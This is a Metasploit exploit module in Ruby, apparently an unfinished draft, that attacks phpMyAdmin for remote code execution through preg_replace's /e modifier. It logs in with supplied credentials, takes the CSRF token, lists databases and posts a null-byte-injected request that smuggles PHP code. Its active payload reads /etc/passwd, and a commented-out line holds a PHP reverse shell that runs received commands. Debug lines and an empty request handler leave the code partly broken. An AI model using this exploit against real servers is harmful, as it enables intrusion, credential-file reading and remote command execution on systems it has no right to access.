## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'PhpMyAdmin Authenticated Remote Code Execution via preg_replace()', 'Description' => %q{ This module exploits a vulnerability in PhpMyAdmin's setup }, 'Author' => [ 'Janek "waraxe" Vind', # Discovery 'Ben Campbell ' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2009-1151' ], [ 'OSVDB', '53076' ], [ 'EDB', '8921' ], [ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php' ], [ 'URL', 'http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'Space' => 4000, # unlimited really since our shellcode gets written to a file 'DisableNops' => true, # No filtering whatsoever, so no badchars 'Compat' => { 'ConnectionType' => 'find', }, 'Keys' => ['php'], }, 'Targets' => [ [ 'Automatic (phpMyAdmin 4.0.0-RC2 and 3.5.8)', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 26 2013')) register_options( [ OptString.new('URI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']), OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), OptString.new('PASSWORD', [ false, "Password to authenticate with", '']) ], self.class) end def uri(path="") normalize_uri(datastore['PATH'], datastore['URI'], path) end def check path = uri('/js/messages.php') res = send_request_cgi({ 'uri' => path }) return CheckCode::Unknown if res.nil? if res.body =~ /pmaversion = '3\.5\.8'/ return CheckCode::Vulnerable end end def exploit cookie_names = ['phpMyAdmin', 'pma_mcrypt_iv', 'pmaUser-1', 'pmaPass-1', 'pma_lang', 'pma_collation_connection'] # First, grab the CSRF token print_status("Grabbing CSRF token") response = send_request_cgi({ 'uri' => uri}) if response.nil? fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.") end if (response.body !~ /"token"\s*value="([^"]*)"/) fail_with(Exploit::Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") else print_good("Retrieved token") end token = $1 post = { 'token' => token, 'pma_username' => datastore['USERNAME'], 'pma_password' => datastore['PASSWORD'] } print_status("Authenticating...") login = send_request_cgi({ 'method' => 'POST', 'uri' => uri('index.php'), 'vars_post' => post }) if login.nil? fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.") end if login.code != 302 fail_with(Exploit::Failure::NotFound, "Authentication failed.") else print_good("Authentication successful") end token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first cookie = "" cookie_names.each do |name| cookie << login.get_cookie(name) << " " end db_enum = send_request_cgi({ 'uri' => uri('navigation.php'), 'cookie' => cookie, 'vars_get' => { 'token' => token }, }) dbs = db_enum.body.scan(/index\.php\?db=(.*)&/).flatten start_service() print_status("Sending request") pay = Rex::Text.uri_encode(payload.encoded.gsub("\t","").gsub("\n","")) pay = "include('../../../../../etc/passwd');" #pay = "print('hello') print 'you'; $ip_addr='1'; print 'hello';" # pay = Rex::Text.uri_encode('print "test";$s=fsockopen("ssl://",4444);while(!feof($s)){exec(fgets($s),$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);};print "test";') p pay evil = "query_type=replace_prefix_tbl" evil << "&reload=0" evil << "&db=#{dbs[0]}" evil << "&selected%5B0%5D=test" evil << "&token=#{token}" evil << "&from_prefix=%2Fe%00" evil << "&to_prefix=#{pay}" evil << "&mult_btn=Yes" response = send_request_raw({ 'uri' => uri('db_structure.php'), 'method' => 'POST', 'data' => evil, 'cookie' => cookie, 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' } }) p response.body[0..100] if response.body =~ /test1234/ print_good("win") end sleep(30) end def on_request_uri(cli, req) php = "" send_response(cli, "") end end